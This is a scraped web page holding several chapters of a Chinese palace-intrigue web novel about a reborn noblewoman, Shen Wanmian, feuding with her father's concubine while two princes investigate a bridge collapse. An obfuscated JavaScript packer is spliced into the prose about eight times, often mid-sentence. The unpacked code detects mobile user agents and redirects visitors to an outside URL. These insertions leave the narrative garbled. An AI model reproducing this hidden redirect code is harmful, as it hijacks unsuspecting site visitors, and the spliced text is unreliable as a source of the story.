裴宴故意这样说，为的就是恶心沈晚眠。 从前她处置犯了错的宫人，他就会在旁边不耐的说风凉话。 沈晚眠明白他什么意思，看来他已经知道自己是重生的了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050896|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “多谢殿下好意。” 二人眼神交锋，暗暗和对方较劲。 可在旁人看来，却是另外一番意味。 这两人绝对有事！ “是小姐，是她指使我陷害二小姐的，不关我的事啊，老夫人，您要为我做主啊。” 琴心知道要是不供出沈书玉，她必死无疑。 “大胆，事到如今你还想狡辩，来人，将贼人拖出去，送往官府。” 沈知舟匆忙为这件事情下了定论。 虽然他不清楚这到底怎么回事，但他必须要将全家保下。 “各位同僚，不好意思，家中琐事让大家见笑了。” “今日就到这里吧，咱们改日再聚。” 宾客很快被请走，林夫人在离开时，意味深长的看了一眼沈晚眠。 正厅里只剩下沈家人和两位皇子。 “此事非同小可，孤与七弟留在这旁观，太傅没有意见吧。” 沈知舟哪敢说一个不字。 “还请二位殿下，为我沈家做个见证。” 裴宴轻笑一声：“太傅言重了，不过此事应与二小小姐无关，孤有些话想单独与二小姐谈谈。” 裴宴哪里是想旁观，他分明是冲沈晚眠来的。 二人从正厅里退出，沈晚眠不想与他纠缠，直接开门见山。 “既然你都知道了，就别拐弯抹角了，你想如何？” 裴宴嘴角上扬，扯出一抹讥笑。 “所以这一次，你选了老七？” 第23章 买醉 明明他也不想再和自己有瓜葛，现在又摆出这幅表情装什么。 “我的事与你何干？” 裴宴被她的态度激怒。 “别忘了，上一世我们做了十年的夫妻！” 沈晚眠不甘示弱道：“你也说了，那是上一世，况且我已经发过誓，此生绝不与你有半分瓜葛，难道你忘了？” “你……” “好啊，不过好歹夫妻一场，你抱我一下，咱们就算两清。” 沈晚眠见他态度转变如此之快，脱口而出道：“有病就去太医院治！” 裴宴却不想轻易放过她。 “咱们同床共枕十年，抱一下怎么了。” 话不投机半句多，沈晚眠懒得与他废话。 裴宴突然将她揽在怀里，还将她双手禁锢。 他的动作将二人位置颠倒，沈晚眠透过他的肩膀，看到了一双冰冷的眼。 刚才在前厅，他说的那句话，有一半是说给裴行止听的。 现在计谋得逞，裴宴痛快极了。 虽然但是，他还是绕了另一条道。 老七可是武将，万一气急了对自己出手，他可打不过。 沈晚眠慌了，她竟生出一种被捉奸在床的心虚感。 “你听我解释，刚才是他……你也知道，我和他……” “够了！” 裴行止背过去，不愿再面对她。 在正厅时，他就看出二人不对劲。 刚才那一幕，直接将他最后一丝侥幸绞杀。 既然她与太子有私，又为何要招惹自己。 既然招惹了，又为何不一骗到底。 难怪他总觉得与她相处时，她的眼睛里总是缺点东西。 见到她与太子在一起，他才恍然大悟。 为何你连骗我都不愿真心呢。 “罢了，既然你心有所向，我也不强留，不过先前答应你的事，我会做到。” 裴行止头也不回的离开了。 七皇子府，季少渊正对着佛像叩头。 祈求佛祖在天之灵能保佑自己高中。 门被裴行止猛地推开。 吓的季少渊还以为佛祖显灵了。 “哎呦呦，吓死我了，你干嘛？” 季少渊见他脸色不对，猜出一定与沈晚眠有关。 “和沈二小姐吵架了？” “以后不许提她！” 瞧瞧这暴脾气，肯定是吵架了。 “好好好，不提她，走吧，去醉…不，咱们去金樽阁。” 夜，如化不开的墨笼罩在京城的上空，更笼罩在裴行止心里。 他端起酒杯一饮而尽，想将所有的愁绪一并咽下。 原本季少渊是来舍命陪君子的。 他却比当事人先醉了。 “照我说一个人过，就是最好的。” “整日情情爱爱，有什么用，能当饭吃，还是能当银子花啊。” 季少渊的话他一点都没听进去。 他甚至觉得，是不是自己错了。 九年前，如果他没有对她隐瞒身份。 说不定他们早就…… 他不敢告诉她真相，他怕她觉得自己不信任她。 这些年，他无时无刻都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050897|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想与她相认。 可他没有勇气，也不敢去想后果。 就在他悲秋伤春时，门外一道熟悉的声音由远及近。 “舅舅，您放心，这次的计划天衣无缝，您就坐在家里等着收银子吧。” 这是三皇兄的声音！！！ 三皇子裴恒是皇后嫡出，却在即将被册封太子之际，查出贪墨。 皇帝震怒之下，便将五皇子裴宴封为太子。 三皇子对此并不在意，他只爱财。 况且他清楚自己几斤几两。 但皇后就不一样了，在她看来，太子就该是她儿子的。 她无时无刻都在找机会帮三皇子上位。 奈何烂泥实在扶不上墙。 她也因此气了一身病。 裴行止不想管闲事，只当他没听到。 他可以借酒消愁，沈晚眠就没有那么幸运了。 沈府乱做一团，沈书玉房里的丫鬟嬷嬷全都跪在院中瑟瑟发抖。 始作俑者沈书玉，窝在苏倩儿怀里默默抽泣。 她不敢哭出声，怕惹得父亲震怒。 此时此刻，她甚至都怀疑沈晚眠说的是真的。 毕竟那画，是她交代琴心撕毁，她也没亲眼所见。 不然她真想不通，事情为什么会发展成这样。 沈晚眠脑子也很乱，她的计划才进行了一半，就被裴宴打乱。 虽然裴行止临走时承诺会帮她做完。 但她还是不放心。 沈知舟同样心烦意乱。 难不成沈晚眠能未卜先知？提前预判了书玉的动作？ 第24章 真相 这太荒谬了，沈知舟否决了自己的想法。 或许只是巧合，沈晚眠恰好注意到画上的内容，临时编得说辞。 “今日的事你们也都清楚什么分量，这画是谁准备的，要是不从实招来，便都压入大狱！” 无论如何，这件事得有个交代。 只要有个聪明人站出来，随便指认一个，就算翻篇了。 或许是受了沈书玉的影响。 一屋子人愣是没一个敢吭声的。 沉默的气氛让沈知舟想骂人。 最后还是苏倩儿解了围。 “定是琴心一人所为，老爷，她们都是些未出阁的小女娘，哪里见过这样的场面。” 沈知舟重重叹口气。 “罢了，此事到此为止，都下去吧。” 沈怀宁将要离去的沈晚眠拦下。 他左右看看，发现没人注意，才小心的将沈晚眠拉到无人的角落。 沈晚眠警惕道：“六兄，你这是做什么？” 她现在谁都不敢轻信。 “我是想谢谢你的提醒，那日书房的蜡烛不小心被打翻，我险些丧身火海。” 沈怀宁意识到自己的行为有些失态，尴尬的摸了摸脑袋。 原来只是道谢。 “不用谢，还有别的事吗？” 沈怀宁纠结了好久，眉头都快拧成麻花了。 最终还是忍不住说了出来。 “昭昭，有件事，我憋在心里很久了，一直没找到机会告诉你。” 沈晚眠不想和他多聊，她还得回去好好想想下一步。 “六兄有话直说吧。” “唉，好吧，我想跟你说的是，你母亲的死并非意外，当年……” “怀宁，你干什么呢，还不赶紧走。” 杜氏发现躲在暗处的二人，将沈怀宁的话打断。 沈怀宁看到母亲警告的目光，不敢讲话继续说下去。 他小心的看了一眼沈晚眠。 最终还是跟母亲离开了。 沈晚眠对他的话半信半疑。 其实她也一直有所怀疑，如果母亲真的是被苏倩儿害死的。 那她更不能让她们母女好过！ 只是现在，没有了裴行止的帮助，往后行事更困难了…… 她垂头丧气的回到房间。 还没喝上一口茶，就又被沈老夫人叫走了。 晚香堂，沈老夫人面色凝重。 她将屋里的人都赶到外面去，只留她和沈晚眠。 “今日的事，是你策划的吧。” 沈晚眠从一开始就知道瞒不过老夫人。 她目光坚定，语气里没有丝毫胆怯。 “是。” 沈老夫人双眼怒睁，浑浊的眸子里折射出怒意，死死地盯着眼前的孙女。 “你为何要如此！” “为了我自己……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050898|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她突然想到沈怀宁的话，于是又补充道：“也为了我母亲。” 沈老夫人神情变得错愕，她是怎么知道的！ 当初的确是沈家骗婚在先，这点她无法反驳。 “当**，的确是我们沈家有愧，那你就要拉着全家为她陪葬吗？” 听到这句话，沈晚眠的内心掀起惊涛。 她原本只是想试探一下老夫人。 没指望老夫人会直接承认。 沈怀宁的话竟然是真的。 既如此，杜氏是否也与此事有关？ 她握紧拳头，指甲几乎陷进肉里。 “过去的事就让他过去吧，收手吧，孩子。” 良久，沈晚眠缓缓抬起头，眼神冰冷道：“我不会牵连无辜之人，我只要苏倩儿亲自去我母亲身前忏悔。” 几日后，京中传出流言。 沈府庶女衣着张扬，整日穿金戴银，几乎赶上宫里的娘娘一般金贵。 吉祥将此事说与沈晚眠，她听后陷入沉思。 裴行止当真没有骗她。 看来此人的确值得深交，只可惜被裴宴那个王八蛋给搅黄了。 算算日子，那件事也快发生了。 “小姐，您都好几天没出门了，今日科举放榜，我们要不要出去走走” 吉祥建议道。 这段时间发生太多事，她都快把表兄忘了。 “走，咱们去瞧瞧。” 第25章 偶遇 贡院之外，人头攒动，那张贴着皇榜的高墙之下，挤得水泄不通。 学子们伸长脖子，不放过任何角落，生怕错过自己的名字。 有人满心欢喜的回头与家人庆祝，有人不死心的又扫视一边，绝望过后失魂落魄的挤出人群独自垂泪。 沈晚眠刚下马车，一眼便看到了位于榜首的李言初。 她就知道，表兄定能夺魁。 再看探花，竟是季少渊。 他们二人恰好和上一世颠倒。 隔着人群，沈晚眠与表兄对上视线。 李言初欢喜的跑向表妹，沈晚眠却人被半路截胡。 “昭昭，你也来看榜。” 沈怀宁脸上的欣喜还未褪去，一看便知榜上有名。 “对，恭喜六兄金榜题名。” 沈怀宁不好意思道：“多谢，你是来为谁看榜？你表兄吗？” 沈晚眠微微一笑：“正是，怎么不见三叔三叔母？” 沈怀宁脸上的笑意僵住，不过很快他便调整好状态。 “兄长心情不好，他们先回去了。” 明明是同胞兄弟，为何三房偏心至此？ 这其中必有蹊跷。 “六兄，你上次同我说的话还未讲完，不如现在一并告诉我吧。” 沈怀宁面露难色：“此地人多嘴杂，等我得空了，定将知道的全都告诉你。” 沈怀宁转过身的一瞬间，脸上浮出偏执的邪笑。 怀疑的种子一旦种下，便会在心底疯狂生长。 沈晚眠看着他离去的背影，陷入沉思。 “昭昭，怎么了，刚才那人是？” 李言初终于穿过人群，来到她面前。 “没事，那是我堂兄。” 李言初悄悄松口气，还好只是堂兄。 “恭喜表兄，一举夺魁，看来我送的东西还是有点用的。” 沈晚眠轻笑道。 罢了，回去之后在去找沈怀宁细谈吧。 主仆三人来到醉仙楼。 “上次让表兄破费了，这次一定得我请才行。” 李言初无奈又宠溺道：“好，都听你的，我这几日忙着置办宅子，也没来得及知会你一声，我已不在七皇子府住了。” 沈晚眠调笑道：“表兄何必浪费自己的银子，陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050899|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下怕是早就为你准备好了府邸。” 李言初淡然道：“不用了，陛下赏的府邸我大抵住不惯。” 沈晚眠在心底苦笑，这就是富人的底气吗。 连御赐都瞧不上。 就在他们谈话之际，隔壁坐下两道熟悉的身影。 沈晚眠转过头，与季少渊四目相对。 “哈哈，好巧啊，你们也在。” 季少渊尴尬的笑笑，随后将目光裴行止。 沈晚眠顺着他的目光，也看向端坐着喝茶的那人。 “七皇子安，裴公子安，恭喜裴公子喜中探花。” 就算不合作了，她也真心感激裴行止。 话音刚落，不远处突然传来“轰隆”一声巨响，引得众人好奇。 沈晚眠不慌不忙的吩咐吉祥：“去看看发生什么了。” 吉祥得了令，很快出去查看。 不一会她便气喘吁吁的回来了。 沈晚眠递给她一杯茶。 “出什么事了，这样着急。” 吉祥平复了气息，夸张道：“永安河的那座桥塌了，桥上还有好多人，都掉河里去了。” 第26章 劝告 一旁的裴行止猛地站起身。 那桥前几日刚刚建成，定是有人从中贪墨，克减用料。 这些日子京中前后传出沈家两个女儿穿着奢靡。 父皇定会怀疑沈家。 那她会不会受到牵连…… 裴行止担忧的看向沈晚眠。 对方丝毫不在意，甚至还在优哉游哉的喝茶。 “别吃了。” 裴行止拉起还在状况外的季少渊，匆匆离去。 布了如此久的局终于要收网，沈晚眠隐隐有些兴奋。 “表兄多吃点，以后等你入了仕，在想相聚就难喽。” 养心殿内，工部的官员将头埋的不能再低。 生怕皇上下一秒就发作。 皇帝偏过头，扶着额，随时可能爆发。 裴行止匆匆而来，和裴宴打了个照面。 “七弟？你怎么来了？” 这事和他没关系吧。 裴行止想到那日在沈府发生的事，实在不想同他讲话。 他没理裴宴，直接进了殿。 裴宴看他这样，知道他还在生气。 对于他无视自己的行为，他也不恼。 “行止？你来干什么？” 皇帝疑惑道。 裴行止行了一礼：“儿臣想为父皇分忧。” 皇帝来了兴趣：“你想查永定河的案子？” 裴行止点点头。 皇帝本想让太子去查这件事，见到裴行止后，他改了主意。 这些年老七一直在边关打仗，既然回京了，让他熟悉熟悉朝政也好。 “好吧，此事就交于你去办，工部侍郎何在。” 童大人颤颤巍巍道：“臣在。” “桥是工部修的，此事工部脱不了干系，你全力配合七皇子查案。” 众人就要告退，皇帝冷不丁道：“沈太傅，听说你家女娘近日很是张扬啊。” 一直默不作声的沈知舟突然被皇帝点名。 众人纷纷将目光移向角落里的沈知舟。 沈知舟硬着头皮道：“小女疏于管教，微臣回去一定好好教育她们。” 皇帝冷哼一声，他倒会装。 “行了，都下去吧。” 他已经提点老七了，该从哪里下手就让他自己决断吧。 皇帝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050900|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道的是，沈家的谣言正是裴行止散播的。 他也是怕牵连沈家的女娘才主动揽下这桩事的。 裴宴一直在悄悄观察裴行止。 他摸不清裴行止到底有没有重生。 不过上一世他不仅没和自己争夺皇位，还在暗处帮过他。 总归不是敌人。 “七弟，听孤一句劝，离沈晚眠远一点，她并非良善之辈。” 裴行止冷冷道：“我知皇兄与沈二小姐有情，皇兄不必如此。” 裴宴一时语塞，那日他只想气一气沈晚眠。 没想却让老七误会了这么久。 “就是全天下的女娘都死绝了，孤也不会与沈晚眠有情。” “孤是怕你被她迷惑，才出此下策。” 裴行止死掉的心再次复燃。 他眼里的光回来了，声音也染上激动。 “你是说，你与她没有瓜葛。” 裴宴叹了口气，语重心长道：“那是自然，孤是你皇兄，又不会害你，离她远点准没错。” 沈晚眠心机深沉，为达目的不择手段。 他只是不想七弟步他的后尘。 第27章 查账 裴行止已经听不进去裴宴说的什么了。 他激动的跟裴宴告辞，他现在只想去见沈晚眠。 等他到了沈府，他又不敢进了。 他不知该怎么面对她。 就在他犹豫之际，沈知舟的马车恰好停在他面前。 “您这是……” 该不会是来查他的吧。 沈知舟心里莫名发紧，下马车的动作也变得僵硬。 明明这事和他没关系，可他就是心虚。 裴行止没说话，他不知怎么跟沈知舟解释。 他的沉默让沈知舟更加相信自己的猜测。 “既是查账那便请随我来。” 反正他又没贪，他有什么好心虚的。 沈知舟整理好情绪，将裴行止请进家门。 裴行止没解释，刚好他也缺个理由进沈府。 沈知舟将裴行止带到书房，并吩咐小厮将家里的三个女眷喊来。 说到底都是因为沈晚眠招摇，才引得书玉学她。 沈书玉离得近，到的也快。 她不知道发生了什么，但看父亲脸色不好，她也不敢多问。 “你母亲呢？” 家中中馈都交由苏倩儿管理，账本也在她那里。 沈书玉老老实实回答：“母亲一早便出门了，应是和林夫人上香去了。” 林夫人，那不是文安候府家的吗。 文安候府正是皇后的母家，文安候便是三皇子的舅舅。 那日他在金樽阁听到的谈话，正是三皇子裴恒和文安候林峰远。 想到二人的谈话，永定河的事与他们脱不了干系。 沈家与文安候府走的近，难道沈家也…… “殿下万安。” 沈晚眠的声音将裴行止从思绪里拉回。 突然见到她，裴行止有些不知所措。 沈晚眠略微诧异，上一世处理这件事的是裴宴。 怎么这次是他。 好在沈晚眠的视线并没在他身上停留多久。 “父亲，你唤女儿前来可是有事？” 沈知舟皱起眉头，忍不住数落道：“因为你整日招摇，陛下都开始怀疑咱们家**，你闯下如此大祸，该当何罪。” 这是想拿她当替罪羊啊，明明沈书玉比她招摇多了，当着皇子的面却偏偏只罚她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050901|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈晚眠在心中冷笑一声，随即开始了表演。 她十分惶恐的跪在地上，颤抖道：“冤枉啊，女儿穿的衣裙都是四兄所赠啊，那日殿下也在场，您可得为我作证啊。” 裴行止立马坐直，虽然他内心欣喜异常，脸上却没什么表情。 还是一副清清冷冷的样子。 “那些布匹是御赐之物，当然珍贵，要是我没记错，近日流言缠身的，并非沈二小姐吧。” 裴行止看向沈书玉。 沈知舟擦了擦额角的冷汗，也将目光移向沈书玉。 沈书玉早已被裴行止和父亲的话吓丢了神。 她不过是爱美了些，怎么会给父亲招来如此祸端。 她紧紧揪住衣角，头也不敢抬。 不知如何回应裴行止的话。 沈知舟知道女儿是个扛不住事的。 他也不指望她能想沈晚眠一样为自己开脱。 “都是你母亲惯的，你先下去，等你母亲来了再说。” 沈书玉如释重负，赶紧退下。 “二小姐起来吧。” 裴行止不忍她跪着，让她起身。 第28章 ** 沈晚眠一边起身一边朝他微微点头。 无声的向对方道谢。 三人等了许久，才将苏倩儿等来。 苏倩儿还不知道发生了什么。 刚进家门就被带到书房。 她看到书房里的三人，不免心生疑虑，他们怎么会凑到一起？ 难不成七皇子看上了沈晚眠，来向他家提亲！ “你去哪了，快把家中账本拿来，殿下要查看。” 沈知舟的话打消了她的不安。 还好只是查账。 等等…… 查账！！！ 好端端的为何要查账！ 沈知舟见她半天没有反应，不由得皱起眉头。 “愣着干什么，还不快去取。” 裴行止注意到苏倩儿眼中一闪而过的心虚，他叫住苏倩儿：“等等。” “木槿，你陪夫人一起去。” 裴行止吩咐手下看住苏倩儿，防止她做小动作。 苏倩儿在木槿的监督下，只能将账本拿出。 刚才她已经在下人嘴里知道了来龙去脉。 虽然沈家的确没有参与此事。 但她这些年没少从账面上克扣。 如今她只能祈祷裴行止不翻旧账。 “如果殿下信的过我，不妨让我提您查。” 沈晚眠突然开口，在场人皆是一愣。 她从小不学无术，何时学会了看账本？ “殿下应该知道，我虽是沈家的女娘，却与父亲姨娘不睦，自是不会偏袒。” 沈知舟脸色变了又变，死丫头瞎掺和什么。 “这里还轮不到你插嘴。” “二小姐言之有理，那便有劳二小姐了。” 话是对着沈晚眠说的，可他的眼睛却紧紧盯住沈知舟。 沈知舟被他盯的浑身不自在。 只能将嘴里的话咽下去，不敢多言。 沈晚眠勾了勾唇，挑衅的看向苏倩儿。 苏倩儿咬紧牙关，小**，还敢挑衅她。 账本早已被篡改。 她不信一个十几岁的黄毛丫头能看出其中门道。 其实沈晚眠本不想亲自查账，反正这账谁查都一样。 可她突然想到另外一件事。 她得为自己留条后路。 沈晚眠的速度非常快，几个时辰便将账面上的疑点都圈了出来。 三人又是一愣。 还真让她查出来了！ 她将账本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050902|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿给裴行止看。 裴行止早就吩咐木槿清点了府库。 他心里清楚沈家的确没参与**。 这些漏洞不过是苏氏在自家产业上动的手脚。 “原是我冤枉了太傅，还请太傅恕罪，不过还是注意些吧，毕竟家贼难防，告辞。” 剩下的是沈家的家事，他一个外人不好插手。 他也终于明白了沈晚眠的用意，不过她是怎么提前知道桥会塌的，还有上次西瀛国花，未免太过巧合。 裴行止走后，沈知舟终于放下心。 他拿过账本，越看脸越绿。 苏倩儿赶紧挤出两滴泪，柔柔弱弱的跪在沈知舟脚边。 “老爷，您听妾身解释…” “还有什么好解释的。” 沈老夫人拄着拐杖走来，她早就知道苏氏不安分。 但那毕竟是大房的家事，她不好插手。 如今都被摆上明面了，她再也坐不住。 沈知舟赶紧将老夫人扶到主位。 “母亲，您怎么来了？” 沈老夫人没理他，而是继续对苏倩儿道：“你仗着你家官人宠你，便无法无天，不光苛待嫡女，还敢对家中产业下手，以后库房你不用管了。” 第29章 反咬 苏倩儿没想到事情会发展到这一步。 她微微抬头，眼眸含泪，望向沈知舟。 “老爷，妾身知错了，妾身一时糊涂，才做下错事，您就饶了妾身这一回吧。” 沈老夫人震怒，她猛地一拍桌子。 “反了天了，老身的话你是没听到吗！” 沈知舟知道老夫人这是气急了。 他赶紧对苏倩儿使眼色。 然后安抚道：“您先喝口茶，消消气。” “儿子房中就这一个赖婆娘，您说这库房钥匙不给她，谁还能替儿子管家。” 沈老夫人厉声道：“那便让二房三房替你管。” 沈家三房虽然住一起，却早就分了家产，如今各管各的，互不干涉。 “二房三房也要打理自己的家业，怎么好意思麻烦他们。” “可以请管家，把家产交给专业的人打理，应该要比姨娘打理的好吧。” 沈晚眠早就替他们想好了。 沈老夫人也觉得可行，便同意了。 “就依昭昭说的办。” 沈知舟本想留沈晚眠在这里背锅，却被对方反将一军。 看到跪在地上的苏倩儿，他更是气不打一出来。 沈晚眠的目的已经达到，她也不多留，跟着沈老夫人离开了。 “老爷，妾身真的不是故意的，妾身都是为了书玉。” 苏倩儿泪眼朦胧，仿佛受了天大的委屈。 沈知舟板着脸问道：“为了书玉？” 苏倩儿将脸上的泪痕拭去，忙膝行上前几步。 “书玉是庶出，比不得昭昭身份高贵，老夫人也不喜书玉。” “来日昭昭出嫁，老夫人定送上丰厚嫁妆，再加上她母亲留给她的，定是风光无限。” “可妾身身份低微，无银两傍身也无娘家扶持，去哪给书玉准备嫁妆，老爷您是知道的，若是嫁妆微薄，是会被夫家瞧不起的。” 说到这里，苏倩儿又开始擦拭眼泪。 “妾身本就连累书玉，做了庶女，更不能让她再受委屈。” 苏倩儿这番话情真意切，让人听了无比动容。 沈知舟消了气，他也心疼她们母女。 要不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050903|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲非要让他娶李氏，他的书玉怎么会成庶出。 他弯下腰，亲自将爱妾扶起。 “好了，地上凉，起来吧。” 苏倩儿见状趁热打铁道：“昭昭也不小了，妾身为她寻了门亲事，老爷听听如何。” 他也想让沈晚眠滚出这个家，可她背后还有萧贵妃。 “不妥，她现在很麻烦，不能轻易动她，更何况母亲也不会同意。” 沈知舟还以为苏倩儿给沈晚眠找的是穷书生。 苏倩儿解释道：“老爷，这可是门绝顶好的亲事，对方是文安候家的幼子，林夫人都和妾身谈妥了。” 文安候，皇后的母家，的确是门好亲事。 沈知舟动了心，可他也忌惮萧贵妃。 “听说那孩子花天酒地不学无术，还没娶正室，小妾就养了一大堆，母亲不会同意她嫁过去的。” 苏倩儿笑着依偎在沈知舟怀里。 “我听晚香堂的下人说，老夫人正准备回老家养老，等她走了，自然就管不了了，老爷不是说昭昭麻烦吗，把她嫁出去，不就没有麻烦了。” 第30章 阴谋 “况且昭昭性乖张，脾气狠辣，就算夫君混蛋了些，她也是治的住的。” 对啊，萧贵妃再独断，也管不了他嫁女儿。 反正这件事他又“不知情”。 只要把这烫手的山芋扔出去。 他也不用怕会连累沈氏了。 沈知舟茅塞顿开。 “可她要是不愿。” “咱们可以先瞒着她，等到一切落定，再通知她，况且父母之命媒妁之言，又岂容她反悔。” 沈知舟点点头：“好，就这么办，书玉也大了，你也得为她留意着点。” 苏倩儿乖顺应下，虽然暂时失掉管家权，但解决了沈晚眠这个心头大患。 等她嫁出去，这家还不是她说了算。 晚香堂内，老夫人语重心长道：“我最后问你一遍，真的不跟我走？” 寿过完了，榜也放了，她该启程回老家了。 苏氏失去管家权，也算是得到了教训。 她不想让孙女被仇恨蒙蔽双眼。 那日在寿宴上她瞧见太子和七皇子。 她一介女娘，若是搅和进天家的事，太过凶险。 与其愈陷愈深，不如远离是非，一生安稳。 沈晚眠坚定道：“不走。” 好戏才刚刚开始，她怎么能退场。 沈老夫人叹了一口气。 “好吧，你走吧，我累了。” 回去的路上，沈晚眠和林夫人恰巧遇上。 沈晚眠规规矩矩的行了一礼。 林夫人热情的将她扶起。 还对着她上下打量好久。 “不错，不错，是个好女娘。” 沈晚眠礼貌回应：“夫人谬赞。” 林夫人拍拍她的手，笑着说到：“好孩子，去吧，我去找你母亲了。” 望着林夫人的背影，沈晚眠陷入沉思。 回到院中，沈晚眠拉过吉祥。 “你有没有觉得，适才林夫人过于亲切了。” 吉祥想了想：“的确，就好像……婆母在看新妇！” “是了，我也这样觉得，你这几日多打听着点文安候府的事。” 吉祥应下，第二日她便有了消息，还领回来一人。 阿烟见到沈晚眠，立马抱拳跪下。 “属下阿烟，奉七皇子之命前来保护小姐。” 吉祥补充道：“对了小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050904|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，阿烟还带来了文安候府的消息。” 他怎么回事？前几日还跟自己**，现在又是跟自己打配合，又是送人送消息。 “你先起来，你家殿下可有话要你带给我？” 阿烟回到：“小姐真是料事如神，殿下说他误会您了，但他公务缠身，不能亲自来向您道歉，近日文安候府似在准备喜事，殿下嘱咐您万事小心。” 看来她猜的没错，苏倩儿想将她嫁出去。 文安侯府看似风光，实在内里烂的不能再烂。 而且过不了几日文安候林峰远就会被查出**。 到时候文安候府就会被抄家，林家更是全族流放。 上一世裴宴那个庸才都能查出真相。 裴行止当时虽被禁足，定也听说了此事。 他的动作只会比裴宴快。 